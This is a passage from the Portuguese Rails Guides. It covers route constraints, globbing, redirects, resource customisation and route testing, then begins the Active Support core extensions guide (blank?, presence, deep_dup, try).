get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ } Copiar

Essa rota corresponderia a caminhos como /photos/A12345, mas não /photos/893. Você pode expressar de forma mais sucinta a mesma rota desta maneira:

get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/

get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/ Copiar

: constraints usam expressões regulares com a restrição de que as âncoras regexp não podem ser usadas. Por exemplo, a seguinte rota não funcionará:

get '/:id', to: 'articles#show', constraints: { id: /^\d/ }

get '/:id', to: 'articles#show', constraints: { id: /^\d/ } Copiar

No entanto, note que você não precisa usar âncoras porque todas as rotas estão ancoradas no início e no fim.

Por exemplo, as rotas a seguir permitiriam articles com valores to_param como 1-hello-world que sempre começam com um número e users com valores to_param como david que nunca começam com um número compartilhem o mesmo namespace raiz:

get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'

get '/:id', to: 'articles#show', constraints: { id: /\d.+/ } get '/:username', to: 'users#show' Copiar

3.9 Restrições Baseadas em Requisições

Você também pode restringir uma rota com base em qualquer método no objeto request que retorna uma String.

Você especifica uma restrição baseada em requisições da mesma maneira que especifica uma restrição de segmento:

get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }

get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' } Copiar

Você também pode especificar restrições usando blocos de constraints:

namespace :admin do
constraints subdomain: 'admin' do
resources :photos
end
end

namespace :admin do constraints subdomain: 'admin' do resources :photos end end Copiar

As restrições de requisição funcionam chamando um método no Objeto request com o mesmo nome que a chave de hash e, em seguida, compara o valor retornado com o valor de hash. Portanto, os valores de restrição devem corresponder ao tipo de retorno do método no objeto request correspondente. Por exemplo: constraints: { subdomain: 'api' } corresponderá a um subdomínio api conforme o esperado. No entanto, o uso de um símbolo constraints: { subdomain: :api } não será, porque request.subdomain retorna 'api' como uma String.

Há uma exceção para a restrição format: embora seja um método no objeto request, também é um parâmetro opcional implícito em todos os endereços. Restrições de segmento têm precedência e a restrição de format só é aplicada quando através de um hash. Por exemplo, get 'foo', constraints: { format: 'json' } corresponderão a GET /foo porque o formato é opcional por padrão. No entanto, você pode usar uma expressão lambda como em get 'foo', constraints: lambda { |req| req.format == :json } assim a rota corresponderá apenas a requisições JSON explícitas.

3.10 Restrições Avançadas

Se você tiver uma restrição mais avançada, poderá fornecer um objeto que responda a matches? que o Rails deve usar. Digamos que você queira rotear todos os usuários em uma lista restrita para o RestrictedListController. Você poderia fazer:

class RestrictedListConstraint
def initialize
@ips = RestrictedList.retrieve_ips
end

def matches?(request)
@ips.include?(request.remote_ip)
end
end

Rails.application.routes.draw do
get '*path', to: 'restricted_list#index',
constraints: RestrictedListConstraint.new
end

class RestrictedListConstraint def initialize @ips = RestrictedList.retrieve_ips end def matches?(request) @ips.include?(request.remote_ip) end end Rails.application.routes.draw do get '*path', to: 'restricted_list#index', constraints: RestrictedListConstraint.new end Copiar

Você também pode especificar restrições como uma lambda:

Rails.application.routes.draw do
get '*path', to: 'restricted_list#index',
constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }
end

Rails.application.routes.draw do get '*path', to: 'restricted_list#index', constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) } end Copiar

Tanto o método matches? quanto a lambda usam o objeto request como argumento.

3.10.1 Constraints em forma de bloco

Você pode especificar restrições em forma de bloco. Isso é útil quando você precisa aplicar a mesma regra a várias rotas. Por exemplo:

class RestrictedListConstraint
# ...Same as the example above
end

Rails.application.routes.draw do
constraints(RestrictedListConstraint.new) do
get '*path', to: 'restricted_list#index'
get '*other-path', to: 'other_restricted_list#index'
end
end

class RestrictedListConstraint # ...Same as the example above end Rails.application.routes.draw do constraints(RestrictedListConstraint.new) do get '*path', to: 'restricted_list#index' get '*other-path', to: 'other_restricted_list#index' end end Copiar

Você também pode usar lambda:

Rails.application.routes.draw do
constraints(lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }) do
get '*path', to: 'restricted_list#index'
get '*other-path', to: 'other_restricted_list#index'
end
end

Rails.application.routes.draw do constraints(lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }) do get '*path', to: 'restricted_list#index' get '*other-path', to: 'other_restricted_list#index' end end Copiar

3.11 Rotas Englobadas (Glob) e Segmentos Curinga

O englobamento de rota é uma maneira de especificar que um parâmetro em particular deve corresponder a todas as partes restantes de uma rota. Por exemplo:

get 'photos/*other', to: 'photos#unknown'

get 'photos/*other', to: 'photos#unknown' Copiar

Esta rota irá corresponder a photos/12 ou /photos/long/path/to/12, definindo params[:other] como "12" ou "long/path/to/12". Os segmentos prefixados com um asterisco são chamados de "segmentos curinga".

Segmentos curinga podem ocorrer em qualquer lugar da rota. Por exemplo:

get 'books/*section/:title', to: 'books#show'

get 'books/*section/:title', to: 'books#show' Copiar

corresponderia books/some/section/last-words-a-memoir para params[:section] igual a 'some/section' e params[:title] igual a 'last-words-a-memoir'.

Tecnicamente, uma rota pode ter ainda mais de um segmento curinga. O matcher de rotas atribui segmentos aos parâmetros de maneira intuitiva. Por exemplo:

get '*a/foo/*b', to: 'test#index'

get '*a/foo/*b', to: 'test#index' Copiar

corresponderia zoo/woo/foo/bar/baz para params[:a] igual a 'zoo/woo', e params[:b] igual a 'bar/baz'.

Ao solicitar '/foo/bar.json', seu params[:pages] serão iguais a 'foo/bar' com o formato de solicitação JSON. Se você quiser o antigo comportamento 3.0.x de volta, poderá fornecer format: false assim:

get '*pages', to: 'pages#show', format: false

get '*pages', to: 'pages#show', format: false Copiar

Se você quiser tornar o segmento de formato obrigatório, para que ele não possa ser omitido, você pode fornecer format: true assim:

get '*pages', to: 'pages#show', format: true

get '*pages', to: 'pages#show', format: true Copiar

3.12 Redirecionamento

Você pode redirecionar qualquer rota para outra usando o auxiliar redirect no seu roteador:

get '/stories', to: redirect('/articles')

get '/stories', to: redirect('/articles') Copiar

Você também pode reutilizar segmentos dinâmicos para corresponder a rotas e redirecionar para:

get '/stories/:name', to: redirect('/articles/%{name}')

get '/stories/:name', to: redirect('/articles/%{name}') Copiar

Você também pode fornecer um bloco para redirecionar, que recebe os parâmetros do caminho simbolizado e o objeto request:

get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }

get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" } get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" } Copiar

Observe que o redirecionamento padrão é um redirecionamento 301 "Moved Permanently". Lembre-se de que alguns navegadores da Web ou servidores proxy armazenam em cache esse tipo de redirecionamento, tornando a página antiga inacessível. Você pode usar a opção :status para alterar o status da resposta:

get '/stories/:name', to: redirect('/articles/%{name}', status: 302)

get '/stories/:name', to: redirect('/articles/%{name}', status: 302) Copiar

Em todos esses casos, se você não fornecer o host principal (http://www.example.com), o Rails obterá esses detalhes da requisição atual.

3.13 Roteamento para Aplicações Rack

Em vez de uma String como 'articles#index', que corresponde à action index no ArticlesController, você pode especificar qualquer aplicação Rack como o endpoint:

match '/application.js', to: MyRackApp, via: :all

match '/application.js', to: MyRackApp, via: :all Copiar

Desde que o MyRackApp responda ao método call e retorne um [status, headers, body], o roteador não saberá a diferença entre a aplicação Rack e uma action. Este é um uso apropriado de via: :all, pois você deseja permitir que sua aplicação Rack manipule todos os verbos conforme considerar apropriado.

Para os curiosos, 'articles#index' na verdade se expande para ArticlesController.action(:index), que retorna uma aplicação Rack válida.

Se você especificar uma aplicação Rack como endpoint, lembre-se de que a rota não será alterada na aplicação de recebimento. Com a seguinte rota sua aplicação Rack deve esperar que a rota seja /admin:

match '/admin', to: AdminApp, via: :all

match '/admin', to: AdminApp, via: :all Copiar

Se você preferir que sua aplicação Rack receba requisições no root path em vez disso, use mount:

mount AdminApp, at: '/admin'

mount AdminApp, at: '/admin' Copiar

3.14 Usando root

Você pode especificar para onde o Rails deve rotear '/' com o método root:

root to: 'pages#main'
root 'pages#main' # shortcut for the above

root to: 'pages#main' root 'pages#main' # shortcut for the above Copiar

Você deve colocar a rota root no topo do arquivo, porque é a rota mais popular e deve ser correspondida primeiro.

A rota root direciona apenas requisições GET para a action.

Você também pode usar o root dentro de namespaces e scopes. Por exemplo:

namespace :admin do
root to: "admin#index"
end

root to: "home#index"

namespace :admin do root to: "admin#index" end root to: "home#index" Copiar

3.15 Rotas com Caracteres Unicode

Você pode especificar rotas de caracteres unicode diretamente. Por exemplo:

get 'こんにちは', to: 'welcome#index'

get 'こんにちは', to: 'welcome#index' Copiar

3.16 Rotas Diretas

Você pode criar URL helpers personalizados diretamente chamando direct. Por exemplo:

direct :homepage do
"http://www.rubyonrails.org"
end

# >> homepage_url
# => "http://www.rubyonrails.org"

direct :homepage do "http://www.rubyonrails.org" end # >> homepage_url # => "http://www.rubyonrails.org" Copiar

O valor de retorno do bloco deve ser um argumento válido para o método url_for. Portanto, você pode transmitir uma URL como string válida, Hash, Array, ou uma instância de Active Model ou uma classe Active Model.

direct :commentable do |model|
[ model, anchor: model.dom_id ]
end

direct :main do
{ controller: 'pages', action: 'index', subdomain: 'www' }
end

direct :commentable do |model| [ model, anchor: model.dom_id ] end direct :main do { controller: 'pages', action: 'index', subdomain: 'www' } end Copiar

3.17 Usando resolve

O método resolve permite personalizar o mapeamento polimórfico de models. Por exemplo:

resource :basket

resolve("Basket") { [:basket] }

resource :basket resolve("Basket") { [:basket] } Copiar

<%= form_with model: @basket do |form| %>
<!-- basket form -->
<% end %>

<%= form_with model: @basket do |form| %> <!-- basket form --> <% end %> Copiar

Isso irá gerar uma URL singular /basket em vez da habitual /baskets/:id.

4 Customizando Rotas com Recursos

Enquanto as rotas padrões e helpers gerados por resources normalmente atendem a maior parte dos casos de uso, você pode querer customizá-los de alguma forma. O Rails lhe permite customizar virtualmente qualquer parte genérica dos helpers de recursos.

4.1 Especificando um Controller para Usar

A opção :controller permite que você especifique um controller de forma explícita para usar para o recurso. Por exemplo:

resources :photos, controller: 'images'

resources :photos, controller: 'images' Copiar

vai reconhecer caminhos requisitados iniciando com /photos mas vai rotear para o controller Images:

Verbo HTTP

Caminho

Controller#Action

Nome do Helper de Rota

GET

/photos

images#index

photos_path

GET

/photos/new

images#new

new_photo_path

POST

/photos

images#create

photos_path

GET

/photos/:id

images#show

photo_path(:id)

GET

/photos/:id/edit

images#edit

edit_photo_path(:id)

PATCH/PUT

/photos/:id

images#update

photo_path(:id)

DELETE

/photos/:id

images#destroy

photo_path(:id)

Utilize photos_path, new_photo_path, etc. para gerar caminhos para este recurso.

Você pode usar a notação de diretório para controllers com namespaces associados. Por exemplo:

resources :user_permissions, controller: 'admin/user_permissions'

resources :user_permissions, controller: 'admin/user_permissions' Copiar

Isso vai direcionar a chamada da rota para o controller Admin::UserPermissions.

Apenas a notação de diretório é suportada. Especificar o controller com a notação de constante do Ruby (e.g. controller: 'Admin::UserPermissions') pode causar problemas e resulta em um aviso.

4.2 Especificando Restrições

Você pode usar a opção :constraints pra especificar um formato exigido no id implícito. Por exemplo:

resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }

resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ } Copiar

Essa declaração restringe o parâmetro :id de forma que ele seja igual à especificação da expressão regular. Então, nesse caso, o roteador não iria mais aceitar /photos/1 para essa rota. Por outro lado, a requisição /photos/RR27 seria aceita.

Você pode especificar uma única restrição para aplicar a mais de uma rota usando a forma de bloco:

constraints(id: /[A-Z][A-Z][0-9]+/) do
resources :photos
resources :accounts
end

constraints(id: /[A-Z][A-Z][0-9]+/) do resources :photos resources :accounts end Copiar

De fato, você pode usar restrições mais avançadas disponíveis em rotas sem recursos nesse contexto.

Por padrão o parâmetro :id não aceita pontos - isto acontece pois os pontos são usados como separadores para rotas com formato de arquivo especificado. Se você precisa usar um ponto dentro do :id adicione uma restrição que sobrescreva isto - a expressão regular id: /[^\/]+/ permite tudo exceto uma barra (\).

4.3 Sobrescrevendo Helpers de Nome de Rota

A opção :as permite que você sobrescreva a convenção de nomes para os helpers de nome de rota. Por exemplo:

resources :photos, as: 'images'

resources :photos, as: 'images' Copiar

vai reconhecer chamadas que chegarem iniciando com /photos e direcionar as requisições para o PhotosController, mas vai usar o valor especificado na opção :as para nomear os helpers.

Verbo HTTP

Caminho

Controller#Action

Nome do Helper de Rota

GET

/photos

photos#index

images_path

GET

/photos/new

photos#new

new_image_path

POST

/photos

photos#create

images_path

GET

/photos/:id

photos#show

image_path(:id)

GET

/photos/:id/edit

photos#edit

edit_image_path(:id)

PATCH/PUT

/photos/:id

photos#update

image_path(:id)

DELETE

/photos/:id

photos#destroy

image_path(:id)

4.4 Sobrescrevendo os Segmentos new e edit

A opção :path_names permite que você sobrescreva os segmentos new e edit gerados automaticamente nos caminhos:

resources :photos, path_names: { new: 'make', edit: 'change' }

resources :photos, path_names: { new: 'make', edit: 'change' } Copiar

Isso faz o roteamento reconhecer caminhos como:

/photos/make
/photos/1/change

/photos/make /photos/1/change Copiar

Os nomes das ações não sofrem alterações devido a esta opção. Os dois caminhos exibidos ainda apontarão para as ações new e edit.

Se você quiser mudar esta opção para todas as rotas, você pode usar um scope. Da seguinte forma:

scope path_names: { new: 'make' } do
# rest of your routes
end

scope path_names: { new: 'make' } do # rest of your routes end Copiar

4.5 Prefixando os Helpers de Nome de Rota

Você pode usar a opção :as pra prefixar os helpers de nome de rota que o Rails gera. Use esta opção para evitar colisões de nomes entre rotas usando um escopo de caminho. Por exemplo:

scope 'admin' do
resources :photos, as: 'admin_photos'
end

resources :photos

scope 'admin' do resources :photos, as: 'admin_photos' end resources :photos Copiar

Isto fornecerá helpers de rota como admin_photos_path, new_admin_photo_path, etc.

Para prefixar um grupo de helpers de rota, utilize :as com scope:

scope 'admin', as: 'admin' do
resources :photos, :accounts
end

resources :photos, :accounts

scope 'admin', as: 'admin' do resources :photos, :accounts end resources :photos, :accounts Copiar

Isto irá gerar rotas como admin_photos_path e admin_accounts_path que são mapeadas para /admin/photos e /admin/accounts respectivamente.

O scope namespace adicionará automaticamente os prefixos :as, assim como :module e :path.

Você pode prefixar as rotas com um named parameter também:

scope ':username' do
resources :articles
end

scope ':username' do resources :articles end Copiar

Isto vai lhe deixar com URLs como /bob/articles/-1 e também permitirá referir à parte username do caminho como params[:username] nos controllers, helpers, e views.

4.6 Restringindo as Rotas Criadas

O Rails cria rotas para sete ações diferentes (index, show, new, create, edit, update, and destroy) por padrão pra cada rota RESTful na sua aplicação. A opção :only diz ao Rails para criar apenas as rotas especificadas:

resources :photos, only: [:index, :show]

resources :photos, only: [:index, :show] Copiar

Agora, a requisição GET para /photos daria certo, mas uma requisição POST para /photos (que por padrão iria para ação create) falhará.

A opção :except específica uma rota ou lista de rotas que o Rails não deve criar:

resources :photos, except: :destroy

resources :photos, except: :destroy Copiar

Nesse caso, o Rails vai criar todas as rotas normais exceto a rota para destroy (uma requisição DELETE para /photos/:id).

Se sua aplicação tem muitas rotas RESTful, usar :only e :except para gerar somente as rotas que você realmente precisa pode reduzir o consumo de memória e agilizar o processo de roteamento.

4.7 Traduzindo Caminhos

Podemos alterar nomes de caminho gerados por resources usando scope:

scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
resources :categories, path: 'kategorien'
end

scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do resources :categories, path: 'kategorien' end Copiar

O Rails agora cria rotas para o CategoriesController.

Verbo HTTP

Caminho

Controller#Action

Nome do Helper de Rota

GET

/kategorien

categories#index

categories_path

GET

/kategorien/neu

categories#new

new_category_path

POST

/kategorien

categories#create

categories_path

GET

/kategorien/:id

categories#show

category_path(:id)

GET

/kategorien/:id/bearbeiten

categories#edit

edit_category_path(:id)

PATCH/PUT

/kategorien/:id

categories#update

category_path(:id)

DELETE

/kategorien/:id

categories#destroy

category_path(:id)

4.8 Sobrescrevendo a Forma Singular

Se você quer sobrescrever a forma singular de um recurso, você deve colocar regras adicionais para o Inflector via inflections:

ActiveSupport::Inflector.inflections do |inflect|
inflect.irregular 'tooth', 'teeth'
end

ActiveSupport::Inflector.inflections do |inflect| inflect.irregular 'tooth', 'teeth' end Copiar

4.9 Usando :as em Recursos Aninhados

A opção :as sobrescreve o nome gerado automaticamente para o recurso em helpers de rota aninhados. Por exemplo:

resources :magazines do
resources :ads, as: 'periodical_ads'
end

resources :magazines do resources :ads, as: 'periodical_ads' end Copiar

Isto criará helpers de rota como magazine_periodical_ads_url e edit_magazine_periodical_ad_path.

4.10 Sobrescrevendo Parâmetros de Nome de Rota

A opção :param sobrescreve o identificador padrão de recurso :id (nome do segmento dinâmico usado para gerar as rotas). Você pode acessar o segmento do seu controller usando params[<:param>].

resources :videos, param: :identifier

resources :videos, param: :identifier Copiar

videos GET  /videos(.:format)                  videos#index
POST /videos(.:format)                  videos#create
new_video GET  /videos/new(.:format)              videos#new
edit_video GET  /videos/:identifier/edit(.:format) videos#edit

videos GET /videos(.:format) videos#index POST /videos(.:format) videos#create new_video GET /videos/new(.:format) videos#new edit_video GET /videos/:identifier/edit(.:format) videos#edit Copiar

Video.find_by(identifier: params[:identifier])

Video.find_by(identifier: params[:identifier]) Copiar

Você pode sobrescrever ActiveRecord::Base#to_param de um model associado para construir a URL:

class Video < ApplicationRecord
def to_param
identifier
end
end

class Video < ApplicationRecord def to_param identifier end end Copiar

video = Video.find_by(identifier: "Roman-Holiday")
edit_video_path(video) # => "/videos/Roman-Holiday/edit"

video = Video.find_by(identifier: "Roman-Holiday") edit_video_path(video) # => "/videos/Roman-Holiday/edit" Copiar

5 Breaking up very large route file into multiple small ones:

If you work in a large application with thousands of routes, a single config/routes.rb file can become cumbersome and hard to read.

Rails offers a way to break a gigantic single routes.rb file into multiple small ones using the draw macro.

# config/routes.rb

Rails.application.routes.draw do
get 'foo', to: 'foo#bar'

draw(:admin) # Will load another route file located in `config/routes/admin.rb`
end

# config/routes.rb Rails.application.routes.draw do get 'foo', to: 'foo#bar' draw(:admin) # Will load another route file located in `config/routes/admin.rb` end Copiar

# config/routes/admin.rb

namespace :admin do
resources :comments
end

# config/routes/admin.rb namespace :admin do resources :comments end Copiar

Calling draw(:admin) inside the Rails.application.routes.draw block itself will try to load a route file that has the same name as the argument given (admin.rb in this case). The file needs to be located inside the config/routes directory or any sub-directory (i.e. config/routes/admin.rb or config/routes/external/admin.rb).

You can use the normal routing DSL inside the admin.rb routing file, however you shouldn't surround it with the Rails.application.routes.draw block like you did in the main config/routes.rb file.

5.1 When to use and not use this feature

Drawing routes from external files can be very useful to organise a large set of routes into multiple organised ones. You could have a admin.rb route that contains all the routes for the admin area, another api.rb file to route API related resources, etc...

However, you shouldn't abuse this feature as having too many route files make discoverability and understandability more difficult. Depending on the application, it might be easier for developers to have a single routing file even if you have few hundreds routes. You shouldn't try to create a new routing file for each category (e.g. admin, api, ...) at all cost; the Rails routing DSL already offers a way to break routes in a organised manner with namespaces and scopes.

6 Inspecionando e Testando Rotas

Rails oferece recursos para inspecionar e testar suas rotas.

6.1 Listando Rotas Existentes

Para obter uma lista completa de rotas disponíveis na sua aplicação, visite http://localhost:3000/rails/info/routes no browser quando o servidor estiver rodando em ambiente de desenvolvimento. Você pode também executar o comando bin/rails routes no terminal para reproduzir o mesmo resultado.

Ambos os métodos irão listas todas suas rotas, na mesma ordem que aparece em config/routes.rb. Para cada rota, você irá ver:

- O Nome da rota (se houver)

- O verbo HTTP usado (se a rota não responder a todos os verbos)

- O padrão ao qual a URL deve corresponder

- Os parâmetros para a cada rota

Por exemplo, segue uma pequena parte da resposta bin/rails routes para uma rota RESTful:

users GET    /users(.:format)          users#index
POST   /users(.:format)          users#create
new_user GET    /users/new(.:format)      users#new
edit_user GET    /users/:id/edit(.:format) users#edit

users GET /users(.:format) users#index POST /users(.:format) users#create new_user GET /users/new(.:format) users#new edit_user GET /users/:id/edit(.:format) users#edit Copiar

Você pode também utilizar a opção --expanded para ativar o modo de formatação por tabela expandida.

$ bin/rails routes --expanded

--[ Route 1 ]----------------------------------------------------
Prefix            | users
Verb              | GET
URI               | /users(.:format)
Controller#Action | users#index
--[ Route 2 ]----------------------------------------------------
Prefix            |
Verb              | POST
URI               | /users(.:format)
Controller#Action | users#create
--[ Route 3 ]----------------------------------------------------
Prefix            | new_user
Verb              | GET
URI               | /users/new(.:format)
Controller#Action | users#new
--[ Route 4 ]----------------------------------------------------
Prefix            | edit_user
Verb              | GET
URI               | /users/:id/edit(.:format)
Controller#Action | users#edit

bin/rails routes --expanded Copiar

Você pode procurar por rotas utilizando a opção grep: -g. Isso resulta qualquer rota que corresponda parcialmente ao nome do método da URL, o verbo HTTP, ou a URL.

$ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin

bin/rails routes -g new_comment bin/rails routes -g POST bin/rails routes -g admin Copiar

Se você quiser ver somente as rotas que mapeiam um controller especifico, existe a opção -c.

$ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController

bin/rails routes -c users bin/rails routes -c admin/users bin/rails routes -c Comments bin/rails routes -c Articles::CommentsController Copiar

O resultado do comando bin/rails routes fica muito mais legível se você ampliar a janela do seu terminal até que não haja quebra de linha.

6.2 Testando Rotas

Rotas deveriam ser incluidas na sua estratégia de testes (assim como resto da sua aplicação). Rails oferece três validações nativas desenvolvidas para fazer os testes de rotas mais simples:

- assert_generates

- assert_recognizes

- assert_routing

6.2.1 A validação assert_generates

assert_generates valida que um conjunto de opções em particular gera um caminho equivalente que pode ser usar com rota padrão ou rota customizada. Por exemplo:

assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
assert_generates '/about', controller: 'pages', action: 'about'

assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' } assert_generates '/about', controller: 'pages', action: 'about' Copiar

6.2.2 A validação assert_recognizes

assert_recognizes é o inverso de assert_generates. Valida que um dado caminho é reconhecido e roteia-o a um lugar determinado na sua aplicação. Por exemplo:

assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')

assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1') Copiar

Você pode passar um argumento :method para especificar um verbo HTTP:

assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })

assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post }) Copiar

6.2.3 A validação assert_routing

A validação assert_routing testa a rota dos dois jeitos: Testa que um caminho gera opções, e que opções gera um caminho. Logo, Ela combina as validações assert_generates e assert_recognizes:

assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })

assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' }) Copiar

Active Support Core Extensions — Ruby...

1 Como Carregar Core Extensions

1.1 Active Support Stand-Alone

A fim de ter uma configuração padrão mais básica, o Active Support não carrega nada por padrão. Com isso, ele é granularizado em pequenas unidades para que seja possível carregar apenas o que se é necessário no contexto, além de oferecer pontos de entrada que são interessantes para o carregamento de extensões convenientes de uma só vez, ou até mesmo não carregar nenhuma.

Portanto, é possível inicializar após o uso de um simples require como:

require "active_support"

require "active_support" Copiar

objetos não respondem nem mesmo a um blank?. Vejamos como carregar essa definição.

1.1.1 Escolhendo a Definição

A forma mais limitada de conseguir respostas a um blank? é selecionando o arquivo que faz essa definição.

Para cada método definido como core extension esse guia possui uma nota que diz onde tal método é definido. No caso de blank? a nota diz:

Definido em active_support/core_ext/object/blank.rb.

Isso significa que você pode fazer requires assim:

require "active_support"
require "active_support/core_ext/object/blank"

require "active_support" require "active_support/core_ext/object/blank" Copiar

O Active Support foi cuidadosamente projetado para que as seleções de arquivos carreguem somente as dependências extremamente necessárias, caso existam.

1.1.2 Carregando Core Extensions Agrupadas

O próximo passo é simplesmente carregar todas as extensões de Object. Como regra geral, extensões para SomeClass estão disponíveis em um rápido carregamento de active_support/core_ext/some_class.

Portanto, para carregar todas as extensões de Object (incluindo blank?):

require "active_support"
require "active_support/core_ext/object"

require "active_support" require "active_support/core_ext/object" Copiar

1.1.3 Carregando Todas Core Extensions

Você pode escolher por carregar todas as extensões principais, há um arquivo para isso:

require "active_support"
require "active_support/core_ext"

require "active_support" require "active_support/core_ext" Copiar

1.1.4 Carregando Active Support Completamente

E finalmente, se você quer ter tudo que o Active Support fornece, basta apenas:

require "active_support/all"

require "active_support/all" Copiar

Isso não vai inserir todo o Active Support na memória antes do necessário, algumas funcionalidades são configuradas via ʻautoload`, então só são carregadas se usadas.

1.2 Active Support Em Uma Aplicação Ruby on Rails

Uma aplicação Ruby on Rails carrega todo o Active Support a não ser que config.active_support.bare esteja definida como true. Neste caso, a aplicação vai carregar apenas o que o próprio framework escolhe como suas próprias necessidades, e ainda pode selecionar a si mesmo em qualquer nível de granularidade, conforme explicado na seção anterior.

2 Extensões para todos os objetos

2.1 blank? e present?

Os seguintes valores são considerados blank em uma aplicação Rails:

- nil e false,

- strings compostas apenas por espaços em branco (veja a nota abaixo),

- arrays e hashes vazios, e

- qualquer outro objeto que responde a empty? como true.

A condicional é que as strings usem a classe de caractere [:space:] do Unicode-aware, como por exemplo U+2029 (separador de parágrafo) é considerado um espaço em branco.

Note que números não são mencionados. Em particular, 0 e 0.0 não são blank.

Por exemplo, este método de ActionController::HttpAuthentication::Token::ControllerMethods usa blank? pra checar se o token está presente:

def authenticate(controller, &login_procedure)
token, options = token_and_options(controller.request)
unless token.blank?
login_procedure.call(token, options)
end
end

def authenticate(controller, &login_procedure) token, options = token_and_options(controller.request) unless token.blank? login_procedure.call(token, options) end end Copiar

O método present? é equivalente ao !blank?. Este exemplo disponível em ActionDispatch::Http::Cache::Response:

def set_conditional_cache_control!
return if self["Cache-Control"].present?
# ...
end

def set_conditional_cache_control! return if self["Cache-Control"].present? # ... end Copiar

Definido em active_support/core_ext/object/blank.rb.

2.2 presence

O método presence retorna seu valor se present? for true, e nil caso não seja. Isso é muito útil para expressões como esta:

host = config[:host].presence || 'localhost'

host = config[:host].presence || 'localhost' Copiar

Definido em active_support/core_ext/object/blank.rb.

2.3 duplicable?

A partir do Ruby 2.5, a maioria dos objetos podem ser duplicados com dup ou clone:

"foo".dup           # => "foo"
"".dup              # => ""
Rational(1).dup     # => (1/1)
Complex(0).dup      # => (0+0i)
1.method(:+).dup    # => TypeError (allocator undefined for Method)

"foo".dup # => "foo" "".dup # => "" Rational(1).dup # => (1/1) Complex(0).dup # => (0+0i) 1.method(:+).dup # => TypeError (allocator undefined for Method) Copiar

O Active Support fornece o duplicable? para consultar se o objeto pode ser duplicado:

"foo".duplicable?           # => true
"".duplicable?              # => true
Rational(1).duplicable?     # => true
Complex(1).duplicable?      # => true
1.method(:+).duplicable?    # => false

"foo".duplicable? # => true "".duplicable? # => true Rational(1).duplicable? # => true Complex(1).duplicable? # => true 1.method(:+).duplicable? # => false Copiar

Qualquer classe pode ter a duplicação desabilitada a partir da remoção de dup e clone ou definindo exceções. Neste caso apenas rescue pode informar se determinado objeto arbitrável é duplicável. duplicable? depende da existência de uma lista de elementos a serem analisados, como no exemplo porém é muito mais veloz que rescue. Use apenas se você souber que a lista é suficiente em seu caso.

Defined in active_support/core_ext/object/duplicable.rb.

2.4 deep_dup

O método deep_dup retorna uma cópia profunda de um objeto. Normalmente, quando você dup um objeto que contêm outros objetos, Ruby não executa o dup, então é criada uma cópia superficial do objeto. Caso você possua um array com uma string, por exemplo, terá algo parecido com:

array     = ['string']
duplicate = array.dup

duplicate.push 'another-string'

# the object was duplicated, so the element was added only to the duplicate
array     # => ['string']
duplicate # => ['string', 'another-string']

duplicate.first.gsub!('string', 'foo')

# first element was not duplicated, it will be changed in both arrays
array     # => ['foo']
duplicate # => ['foo', 'another-string']

array = ['string'] duplicate = array.dup duplicate.push 'another-string' # the object was duplicated, so the element was added only to the duplicate array # => ['string'] duplicate # => ['string', 'another-string'] duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed in both arrays array # => ['foo'] duplicate # => ['foo', 'another-string'] Copiar

Como podemos ver, depois de duplicar a instância de Array, possuímos agora outro objeto, portanto podemos modificá-lo sem alterar informações do objeto original. Isso não funciona para elementos de um array, entretanto. Desde que dup não faça a cópia profunda, a string dentro do array se manterá como o mesmo objeto.

Se você precisa de uma cópia profunda de um objeto, pode então usar o deep_dup. Confira um exemplo:

array     = ['string']
duplicate = array.deep_dup

duplicate.first.gsub!('string', 'foo')

array     # => ['string']
duplicate # => ['foo']

array = ['string'] duplicate = array.deep_dup duplicate.first.gsub!('string', 'foo') array # => ['string'] duplicate # => ['foo'] Copiar

Se o objeto não é duplicável, deep_dup apenas o retornará:

number = 1
duplicate = number.deep_dup
number.object_id == duplicate.object_id   # => true

number = 1 duplicate = number.deep_dup number.object_id == duplicate.object_id # => true Copiar

Definido em active_support/core_ext/object/deep_dup.rb.

2.5 try

Quando você quer chamar um método em um objeto somente se ele não for nil, a forma mais simples de conseguir isso é através de uma estrutura condicional, adicionando uma desnecessária desordem. A alternativa é usar try. try é como Object#send exceto que o retorno seja nil se enviado para nil.

Eis um exemplo:

# sem try
unless @number.nil?
@number.next
end

# com try
@number.try(:next)

# sem try unless @number.nil? @number.next end # com try @number.try(:next) Copiar

Outro exemplo é o código em ActiveRecord::ConnectionAdapters::AbstractAdapter onde @logger não pode ser nil. Você pode ver que o código usa try e evita uma verificação desnecessária.

def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end

